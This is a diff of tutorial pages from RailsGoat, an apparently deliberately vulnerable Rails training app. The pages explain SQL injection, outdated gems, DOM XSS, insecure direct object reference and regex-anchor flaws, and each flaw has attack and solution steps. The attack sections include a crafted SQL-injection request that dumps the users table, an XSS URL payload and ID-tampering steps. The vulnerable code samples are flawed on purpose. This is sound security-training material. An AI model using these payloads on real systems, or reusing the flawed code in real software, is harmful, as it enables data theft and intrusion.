...However, since we are discussing fixing vulnerable SQL queries, let's discuss parameterized queries. Parameterized queries separate the SQL Query from the dynamic and often untrusted data. You could replace the string interpolated value with the following query and effectively separate the query from untrusted data:
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
user = User.find(:first, :conditions => ["user_id = ?", "#{params[:user][:user_id]}"])
|
user = User.find(:first, :conditions => ["user_id = ?", "#{params[:user][:user_id]}"])
|
||||||
</pre>
|
</pre>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="accordion-group">
|
<div class="accordion-group">
|
||||||
<div class="accordion-heading">
|
<div class="accordion-heading">
|
||||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
<a style="background-color: rgb(181, 121, 158)" href="#collapseFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||||
<i class="icon-aid icon-white">
|
<i class="icon-aid icon-white">
|
||||||
@@ -154,6 +154,6 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -17,14 +17,14 @@
|
|||||||
<div class="accordion-body in collapse" id="collapseFive" style="height: auto;">
|
<div class="accordion-body in collapse" id="collapseFive" style="height: auto;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
ActiveRecord provides a useful tool for it's Models called a <i>scope</i>. In the words of the documentation:
|
ActiveRecord provides a useful tool for it's Models called a <i>scope</i>. In the words of the documentation:
|
||||||
</p>
|
</p>
|
||||||
<pre><i>
|
<pre><i>
|
||||||
"Scoping allows you to specify commonly-used queries which can be referenced as <br/>method calls on the association objects or models."
|
"Scoping allows you to specify commonly-used queries which can be referenced as <br/>method calls on the association objects or models."
|
||||||
</i></pre>
|
</i></pre>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
This means that we can call a scope as a method and that the scope can be used for common queries such as <i>where</i> and <i>join</i>. Developers must be careful not to interpolate or concatenate user input into these scope calls as this can lead to SQL Injection. This is a common mistake made and can have serious consequences.
|
This means that we can call a scope as a method and that the scope can be used for common queries such as <i>where</i> and <i>join</i>. Developers must be careful not to interpolate or concatenate user input into these scope calls as this can lead to SQL Injection. This is a common mistake made and can have serious consequences.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -38,41 +38,41 @@
|
|||||||
</div>
|
</div>
|
||||||
<div class="accordion-body collapse" id="collapseSix" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapseSix" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Within app/models/analytics.rb:
|
Within app/models/analytics.rb:
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
class Analytics < ActiveRecord::Base
|
class Analytics < ActiveRecord::Base
|
||||||
attr_accessible :ip_address, :referrer, :user_agent
|
attr_accessible :ip_address, :referrer, :user_agent
|
||||||
|
|
||||||
<span style="background-color:yellow">scope :hits_by_ip, ->(ip,col="*") { select("#{col}").where(:ip_address => ip).order("id DESC")}</span>
|
<span style="background-color:yellow">scope :hits_by_ip, ->(ip,col="*") { select("#{col}").where(:ip_address => ip).order("id DESC")}</span>
|
||||||
|
|
||||||
def self.count_by_col(col)
|
def self.count_by_col(col)
|
||||||
calculate(:count, col)
|
calculate(:count, col)
|
||||||
end
|
end
|
||||||
</pre>
|
</pre>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Additionally, within app/controllers/admin_controller.rb:
|
Additionally, within app/controllers/admin_controller.rb:
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
def analytics
|
def analytics
|
||||||
if params[:field].nil?
|
if params[:field].nil?
|
||||||
fields = "*"
|
fields = "*"
|
||||||
else
|
else
|
||||||
<span style="background-color:yellow">fields = params[:field].map {|k,v| k }.join(",")</span>
|
<span style="background-color:yellow">fields = params[:field].map {|k,v| k }.join(",")</span>
|
||||||
end
|
end
|
||||||
|
|
||||||
if params[:ip]
|
if params[:ip]
|
||||||
<span style="background-color:yellow">@analytics = Analytics.hits_by_ip(params[:ip], fields)</span>
|
<span style="background-color:yellow">@analytics = Analytics.hits_by_ip(params[:ip], fields)</span>
|
||||||
else
|
else
|
||||||
@analytics = Analytics.all
|
@analytics = Analytics.all
|
||||||
end
|
end
|
||||||
render "layouts/admin/_analytics"
|
render "layouts/admin/_analytics"
|
||||||
end
|
end
|
||||||
</pre>
|
</pre>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Within the controller we call the method <i>hits_by_ip</i>. This method is actually a scope as highlighted (above) in the Analytics model. The field object, defined within the controller, represents user-input that is intended to control the column returned by the SQL query. The field object represents the HTTP Request's parameter key. So this means we can control at least a portion of the query. Due to the fact that this input is used as an interpolated value within the query string, we have control over a larger portion of the query.
|
Within the controller we call the method <i>hits_by_ip</i>. This method is actually a scope as highlighted (above) in the Analytics model. The field object, defined within the controller, represents user-input that is intended to control the column returned by the SQL query. The field object represents the HTTP Request's parameter key. So this means we can control at least a portion of the query. Due to the fact that this input is used as an interpolated value within the query string, we have control over a larger portion of the query.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -87,72 +87,72 @@
|
|||||||
<div class="accordion-body collapse" id="collapseSeven" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapseSeven" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p><b>SQL Injection - ATTACK</b></p>
|
<p><b>SQL Injection - ATTACK</b></p>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Navigate to the admin analytics panel. Send a request to search by an IP. Modify the request to change the parameter key to a partial SQL statement that returns all users and their information from the database:
|
Navigate to the admin analytics panel. Send a request to search by an IP. Modify the request to change the parameter key to a partial SQL statement that returns all users and their information from the database:
|
||||||
</p>
|
</p>
|
||||||
<pre>
|
<pre>
|
||||||
GET /admin/1/analytics?ip=127.0.0.1&field%5B*%20from%20users--%5D= HTTP/1.1
|
GET /admin/1/analytics?ip=127.0.0.1&field%5B*%20from%20users--%5D= HTTP/1.1
|
||||||
Host: railsgoat.dev
|
Host: railsgoat.dev
|
||||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:28.0) Gecko/20100101 Firefox/28.0
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:28.0) Gecko/20100101 Firefox/28.0
|
||||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||||
Accept-Language: en-US,en;q=0.5
|
Accept-Language: en-US,en;q=0.5
|
||||||
Accept-Encoding: gzip, deflate
|
Accept-Encoding: gzip, deflate
|
||||||
Cookie:[redacted]
|
Cookie:[redacted]
|
||||||
Connection: keep-alive
|
Connection: keep-alive
|
||||||
</pre>
|
</pre>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Essentially we are changing the intended SQL query from:
|
Essentially we are changing the intended SQL query from:
|
||||||
</p>
|
</p>
|
||||||
<pre>
|
<pre>
|
||||||
SELECT <span style="background-color:yellow">UserInput</span> FROM "analytics" WHERE "analytics"."ip_address" = '127.0.0.1' ORDER BY id DESC
|
SELECT <span style="background-color:yellow">UserInput</span> FROM "analytics" WHERE "analytics"."ip_address" = '127.0.0.1' ORDER BY id DESC
|
||||||
</pre>
|
</pre>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
to:
|
to:
|
||||||
</p>
|
</p>
|
||||||
<pre>
|
<pre>
|
||||||
SELECT * from users-- FROM "analytics" WHERE "analytics"."ip_address" = '127.0.0.1' ORDER BY id DESC
|
SELECT * from users-- FROM "analytics" WHERE "analytics"."ip_address" = '127.0.0.1' ORDER BY id DESC
|
||||||
</pre>
|
</pre>
|
||||||
<p><b>SQL Injection - SOLUTION</b></p>
|
<p><b>SQL Injection - SOLUTION</b></p>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
To resolve this issue, do not interpolate user-provided input into SQL queries. However, it is always a good idea to create a whitelist of acceptable values when writing any code that is intended to be powerful and very flexible but that also leverages user-input to make these potentially security-impacting decisions. Within the Analytics model, we have a method called <i>parse_field</i>:
|
To resolve this issue, do not interpolate user-provided input into SQL queries. However, it is always a good idea to create a whitelist of acceptable values when writing any code that is intended to be powerful and very flexible but that also leverages user-input to make these potentially security-impacting decisions. Within the Analytics model, we have a method called <i>parse_field</i>:
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
def self.parse_field(field)
|
def self.parse_field(field)
|
||||||
valid_fields = ["ip_address", "referrer", "user_agent"]
|
valid_fields = ["ip_address", "referrer", "user_agent"]
|
||||||
|
|
||||||
if valid_fields.include?(field)
|
if valid_fields.include?(field)
|
||||||
field
|
field
|
||||||
else
|
else
|
||||||
"1"
|
"1"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
</pre>
|
</pre>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
When used properly, this method prevents anything that does not match those items in the <i>valid_fields</i> array from reaching the SQL query. For example, within the admin controller we can prevent anything that does not match that white-list from inclusion into the query by doing the following:
|
When used properly, this method prevents anything that does not match those items in the <i>valid_fields</i> array from reaching the SQL query. For example, within the admin controller we can prevent anything that does not match that white-list from inclusion into the query by doing the following:
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
def analytics
|
def analytics
|
||||||
if params[:field].nil?
|
if params[:field].nil?
|
||||||
fields = "*"
|
fields = "*"
|
||||||
else
|
else
|
||||||
fields = params[:field].map {|k,v| <span style="background-color:yellow">Analytics.parse_field(k)</span> }.join(",")
|
fields = params[:field].map {|k,v| <span style="background-color:yellow">Analytics.parse_field(k)</span> }.join(",")
|
||||||
end
|
end
|
||||||
|
|
||||||
if params[:ip]
|
if params[:ip]
|
||||||
@analytics = Analytics.hits_by_ip(params[:ip], fields)
|
@analytics = Analytics.hits_by_ip(params[:ip], fields)
|
||||||
else
|
else
|
||||||
@analytics = Analytics.all
|
@analytics = Analytics.all
|
||||||
end
|
end
|
||||||
render "layouts/admin/_analytics"
|
render "layouts/admin/_analytics"
|
||||||
end
|
end
|
||||||
</pre>
|
</pre>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Effectively, we've changed any malicious data provided by the user into the number '1' by leveraging the above code.
|
Effectively, we've changed any malicious data provided by the user into the number '1' by leveraging the above code.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="accordion-group">
|
<div class="accordion-group">
|
||||||
<div class="accordion-heading">
|
<div class="accordion-heading">
|
||||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseEight" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
<a style="background-color: rgb(181, 121, 158)" href="#collapseEight" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||||
<i class="icon-aid icon-white">
|
<i class="icon-aid icon-white">
|
||||||
@@ -166,6 +166,6 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
+14
-14
@@ -18,7 +18,7 @@
|
|||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Virtually every application has these issues because most development teams don’t focus on ensuring their components/libraries are up to date. In many cases, the developers don’t even know all the components they are using, never mind their versions. Component dependencies make things even worse.
|
Virtually every application has these issues because most development teams don’t focus on ensuring their components/libraries are up to date. In many cases, the developers don’t even know all the components they are using, never mind their versions. Component dependencies make things even worse.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -33,16 +33,16 @@
|
|||||||
<div class="accordion-body collapse" id="collapseTwo" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapseTwo" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Within the Gemfile the following gem versions are set. These versions of Rails and Rack are both vulnerable to multiple attacks.
|
Within the Gemfile the following gem versions are set. These versions of Rails and Rack are both vulnerable to multiple attacks.
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
<%= %q{
|
<%= %q{
|
||||||
gem 'rails', '3.2.11'
|
gem 'rails', '3.2.11'
|
||||||
gem 'rack', '1.4.3'
|
gem 'rack', '1.4.3'
|
||||||
} %>
|
} %>
|
||||||
</pre>
|
</pre>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -56,13 +56,13 @@
|
|||||||
</div>
|
</div>
|
||||||
<div class="accordion-body collapse" id="collapseThree" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapseThree" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
To fix this issue, simply update your gems after unpinning the gem versions. You should always run the most up to date version possible and run Bundler-Audit Regularly.
|
To fix this issue, simply update your gems after unpinning the gem versions. You should always run the most up to date version possible and run Bundler-Audit Regularly.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="accordion-group">
|
<div class="accordion-group">
|
||||||
<div class="accordion-heading">
|
<div class="accordion-heading">
|
||||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
<a style="background-color: rgb(181, 121, 158)" href="#collapseFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||||
<i class="icon-aid icon-white">
|
<i class="icon-aid icon-white">
|
||||||
@@ -76,6 +76,6 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
+42
-42
@@ -16,7 +16,7 @@
|
|||||||
</div>
|
</div>
|
||||||
<div class="accordion-body in collapse" id="collapseFive" style="height: auto;">
|
<div class="accordion-body in collapse" id="collapseFive" style="height: auto;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
JQuery Snippet contains at least one DOM-Based XSS vulnerability that can be confirmed in IE11. Unknowingly, the Railsgoat development team used this library. Credit for vulnerability discovery as well as submission to <%= link_to "@raesene", "http://github.com/raesene", {:style => "color: rgb(181, 121, 158)", :target => "_blank"}%>. This was unintentional but goes to show how easily vulnerabilities can creep in when using third-party libraries.
|
JQuery Snippet contains at least one DOM-Based XSS vulnerability that can be confirmed in IE11. Unknowingly, the Railsgoat development team used this library. Credit for vulnerability discovery as well as submission to <%= link_to "@raesene", "http://github.com/raesene", {:style => "color: rgb(181, 121, 158)", :target => "_blank"}%>. This was unintentional but goes to show how easily vulnerabilities can creep in when using third-party libraries.
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -30,33 +30,33 @@
|
|||||||
</div>
|
</div>
|
||||||
<div class="accordion-body collapse" id="collapseSix" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapseSix" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Within the file app/assets/javascripts/jquery.snippet.js:
|
Within the file app/assets/javascripts/jquery.snippet.js:
|
||||||
</p>
|
</p>
|
||||||
<pre>
|
<pre>
|
||||||
<%= %{
|
<%= %{
|
||||||
// snippet new window popup function
|
// snippet new window popup function
|
||||||
function snippetPopup(content) \{
|
function snippetPopup(content) \{
|
||||||
top.consoleRef=window.open('','myconsole',
|
top.consoleRef=window.open('','myconsole',
|
||||||
'width=600,height=300'
|
'width=600,height=300'
|
||||||
+',left=50,top=50'
|
+',left=50,top=50'
|
||||||
+',menubar=0'
|
+',menubar=0'
|
||||||
+',toolbar=0'
|
+',toolbar=0'
|
||||||
+',location=0'
|
+',location=0'
|
||||||
+',status=0'
|
+',status=0'
|
||||||
+',scrollbars=1'
|
+',scrollbars=1'
|
||||||
+',resizable=1');
|
+',resizable=1');
|
||||||
top.consoleRef.document.writeln(
|
top.consoleRef.document.writeln(
|
||||||
'<html><head><title>Snippet :: Code View :: '+}%><span style="background-color:yellow">location.href</span><%= %{+'</title></head>'
|
'<html><head><title>Snippet :: Code View :: '+}%><span style="background-color:yellow">location.href</span><%= %{+'</title></head>'
|
||||||
+'<body bgcolor=white onLoad="self.focus()">'
|
+'<body bgcolor=white onLoad="self.focus()">'
|
||||||
+'<pre>'+content+'</pre>'
|
+'<pre>'+content+'</pre>'
|
||||||
+'</body></html>'
|
+'</body></html>'
|
||||||
);
|
);
|
||||||
top.consoleRef.document.close();
|
top.consoleRef.document.close();
|
||||||
\}}%></pre>
|
\}}%></pre>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
We can see that the <i>location.href</i> DOM property is used to dynamically generate a title for the text box pop-up. This value is string concatenated directly from the DOM without first performing some escaping routine or HTML encoding.
|
We can see that the <i>location.href</i> DOM property is used to dynamically generate a title for the text box pop-up. This value is string concatenated directly from the DOM without first performing some escaping routine or HTML encoding.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -70,27 +70,27 @@ function snippetPopup(content) \{
|
|||||||
</div>
|
</div>
|
||||||
<div class="accordion-body collapse" id="collapseSeven" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapseSeven" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p><b>Using Components with Known Vulnerabilities (DOM XSS) - ATTACK</b></p>
|
<p><b>Using Components with Known Vulnerabilities (DOM XSS) - ATTACK</b></p>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
In order to demonstrate that you can indeed perform DOM XSS through this coding error, we will use a simple alert box. This does not appear to work in Chrome, Safari, or Firefox as they first URL encoded the script portion of the url before rendering which complicates browser interpretation. IE on the other hand, true to form, is totally vulnerable. The following example assumes you are running Railsgoat on localhost, port 3000. If this is the case, open IE, paste the URL (below) into IE.
|
In order to demonstrate that you can indeed perform DOM XSS through this coding error, we will use a simple alert box. This does not appear to work in Chrome, Safari, or Firefox as they first URL encoded the script portion of the url before rendering which complicates browser interpretation. IE on the other hand, true to form, is totally vulnerable. The following example assumes you are running Railsgoat on localhost, port 3000. If this is the case, open IE, paste the URL (below) into IE.
|
||||||
</p>
|
</p>
|
||||||
<pre>
|
<pre>
|
||||||
<%= "http://localhost:3000/tutorials/injection#</title></head><script>alert(1)</script>" %>
|
<%= "http://localhost:3000/tutorials/injection#</title></head><script>alert(1)</script>" %>
|
||||||
</pre>
|
</pre>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
The portion after the pound (#) symbol will close off the title and head portions of the HTML and then allow for properly generated JavaScript to be rendered and executed. After browsing to this URL, navigate to the tutorial where code snippets are shown and click on the "pop-up" link that appears after hovering over the code snippet. This should be all that is required to demonstrate DOM-XSS.
|
The portion after the pound (#) symbol will close off the title and head portions of the HTML and then allow for properly generated JavaScript to be rendered and executed. After browsing to this URL, navigate to the tutorial where code snippets are shown and click on the "pop-up" link that appears after hovering over the code snippet. This should be all that is required to demonstrate DOM-XSS.
|
||||||
</p>
|
</p>
|
||||||
<p><b>Using Components with Known Vulnerabilities (DOM XSS) - SOLUTION</b></p>
|
<p><b>Using Components with Known Vulnerabilities (DOM XSS) - SOLUTION</b></p>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Use the hoganEscape() function defined in application.js to solve this problem. For instance:
|
Use the hoganEscape() function defined in application.js to solve this problem. For instance:
|
||||||
</p>
|
</p>
|
||||||
<pre class="javascript">
|
<pre class="javascript">
|
||||||
<%=%{'<html><head><title>Snippet :: Code View :: '+}%><span style="background-color:yellow">hoganEscape(location.href)</span> <%=%{+'</title></head>' }%>
|
<%=%{'<html><head><title>Snippet :: Code View :: '+}%><span style="background-color:yellow">hoganEscape(location.href)</span> <%=%{+'</title></head>' }%>
|
||||||
</pre>
|
</pre>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="accordion-group">
|
<div class="accordion-group">
|
||||||
<div class="accordion-heading">
|
<div class="accordion-heading">
|
||||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseEight" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
<a style="background-color: rgb(181, 121, 158)" href="#collapseEight" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||||
<i class="icon-aid icon-white">
|
<i class="icon-aid icon-white">
|
||||||
@@ -104,6 +104,6 @@ function snippetPopup(content) \{
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -17,8 +17,8 @@
|
|||||||
<div class="accordion-body in collapse" id="collapseOne" style="height: auto;">
|
<div class="accordion-body in collapse" id="collapseOne" style="height: auto;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Applications frequently use the actual name or key of an object when generating web pages. Applications don’t always verify the user is authorized for the target object. This results in an insecure direct object reference flaw. Testers can easily manipulate parameter values to detect such flaws. Code analysis quickly shows whether authorization is properly verified.
|
Applications frequently use the actual name or key of an object when generating web pages. Applications don’t always verify the user is authorized for the target object. This results in an insecure direct object reference flaw. Testers can easily manipulate parameter values to detect such flaws. Code analysis quickly shows whether authorization is properly verified.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -33,26 +33,26 @@
|
|||||||
<div class="accordion-body collapse" id="collapseTwo" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapseTwo" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Within the app/controllers/work_info_controller.rb file the follow code can be found:
|
Within the app/controllers/work_info_controller.rb file the follow code can be found:
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
<%= %q{
|
<%= %q{
|
||||||
class WorkInfoController < ApplicationController
|
class WorkInfoController < ApplicationController
|
||||||
|
|
||||||
def index
|
def index
|
||||||
@user = User.find_by_user_id(params[:user_id])
|
@user = User.find_by_user_id(params[:user_id])
|
||||||
if !(@user)
|
if !(@user)
|
||||||
flash[:error] = "Sorry, no user with that user id exists"
|
flash[:error] = "Sorry, no user with that user id exists"
|
||||||
redirect_to home_dashboard_index_path
|
redirect_to home_dashboard_index_path
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
} %>
|
} %>
|
||||||
</pre>
|
</pre>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Instead of using the current_user object which, takes the user ID value from the user's session and is normally resilient against tampering, the user ID is pulled from the request parameter (user id in the RESTful URL). Additionally, even in the session, User IDs should be sufficiently random and the sessions stored in a persistent manner (ActiveRcord) versus using the Base64 encoded / HMAC validation session schema.
|
Instead of using the current_user object which, takes the user ID value from the user's session and is normally resilient against tampering, the user ID is pulled from the request parameter (user id in the RESTful URL). Additionally, even in the session, User IDs should be sufficiently random and the sessions stored in a persistent manner (ActiveRcord) versus using the Base64 encoded / HMAC validation session schema.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -67,27 +67,27 @@
|
|||||||
<div class="accordion-body collapse" id="collapseThree" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapseThree" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p><b>Insecure Direct Object Reference - ATTACK</b></p>
|
<p><b>Insecure Direct Object Reference - ATTACK</b></p>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Navigate to the work info page, observe your user ID in the URL /users/<%= "<:user id>"%>/work_info.
|
Navigate to the work info page, observe your user ID in the URL /users/<%= "<:user id>"%>/work_info.
|
||||||
Now change it to someone else's user ID.<br/><br/> Example - /users/2/work_info
|
Now change it to someone else's user ID.<br/><br/> Example - /users/2/work_info
|
||||||
</p>
|
</p>
|
||||||
<p><b>Insecure Direct Object Reference - SOLUTION</b></p>
|
<p><b>Insecure Direct Object Reference - SOLUTION</b></p>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
The easiest way to fix this is to reference the current_user object. Also, it might make sense to not disclose any more sensitive information than necessary (re: error message).
|
The easiest way to fix this is to reference the current_user object. Also, it might make sense to not disclose any more sensitive information than necessary (re: error message).
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
def index
|
def index
|
||||||
<span style="background-color:yellow">@user = current_user</span>
|
<span style="background-color:yellow">@user = current_user</span>
|
||||||
if !(@user) || @user.admin
|
if !(@user) || @user.admin
|
||||||
<span style="background-color:yellow">flash[:error] = "Apologies, looks like something went wrong"</span>
|
<span style="background-color:yellow">flash[:error] = "Apologies, looks like something went wrong"</span>
|
||||||
redirect_to home_dashboard_index_path
|
redirect_to home_dashboard_index_path
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
</pre>
|
</pre>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="accordion-group">
|
<div class="accordion-group">
|
||||||
<div class="accordion-heading">
|
<div class="accordion-heading">
|
||||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
<a style="background-color: rgb(181, 121, 158)" href="#collapseFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||||
<i class="icon-aid icon-white">
|
<i class="icon-aid icon-white">
|
||||||
@@ -101,6 +101,6 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -17,8 +17,8 @@
|
|||||||
<div class="accordion-body in collapse" id="collapseOne" style="height: auto;">
|
<div class="accordion-body in collapse" id="collapseOne" style="height: auto;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Regular expressions are a common way to extract the data you want from the data you do <b><u>not</u></b> want. It is common for Ruby developers to forget that in Ruby regexp anchors are \A and \z. This allows strict enforcement so that potentially dangerous characters such as the newline character aren't able to bypass security-based regular expression checks.
|
Regular expressions are a common way to extract the data you want from the data you do <b><u>not</u></b> want. It is common for Ruby developers to forget that in Ruby regexp anchors are \A and \z. This allows strict enforcement so that potentially dangerous characters such as the newline character aren't able to bypass security-based regular expression checks.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -33,69 +33,69 @@
|
|||||||
<div class="accordion-body collapse" id="collapseTwo" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapseTwo" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p>
|
<p>
|
||||||
Within the file app/controllers/api/v1/users_controller.rb:
|
Within the file app/controllers/api/v1/users_controller.rb:
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
before_filter :valid_api_token
|
before_filter :valid_api_token
|
||||||
before_filter :extrapolate_user
|
before_filter :extrapolate_user
|
||||||
</pre>
|
</pre>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
The above two lines specify that we will run these validations prior to allowing a user to interact with the API endpoints.
|
The above two lines specify that we will run these validations prior to allowing a user to interact with the API endpoints.
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
def valid_api_token
|
def valid_api_token
|
||||||
authenticate_or_request_with_http_token do |token, options|
|
authenticate_or_request_with_http_token do |token, options|
|
||||||
# TODO :add some functionality to check if the HTTP Header is valid
|
# TODO :add some functionality to check if the HTTP Header is valid
|
||||||
identify_user(token)
|
identify_user(token)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def identify_user(token="")
|
def identify_user(token="")
|
||||||
# We've had issues with URL encoding, etc. causing issues so just to be safe
|
# We've had issues with URL encoding, etc. causing issues so just to be safe
|
||||||
# we will go ahead and unescape the user's token
|
# we will go ahead and unescape the user's token
|
||||||
unescape_token(token)
|
unescape_token(token)
|
||||||
<span style="background-color:yellow">@clean_token =~ /(.*?)-(.*)/</span>
|
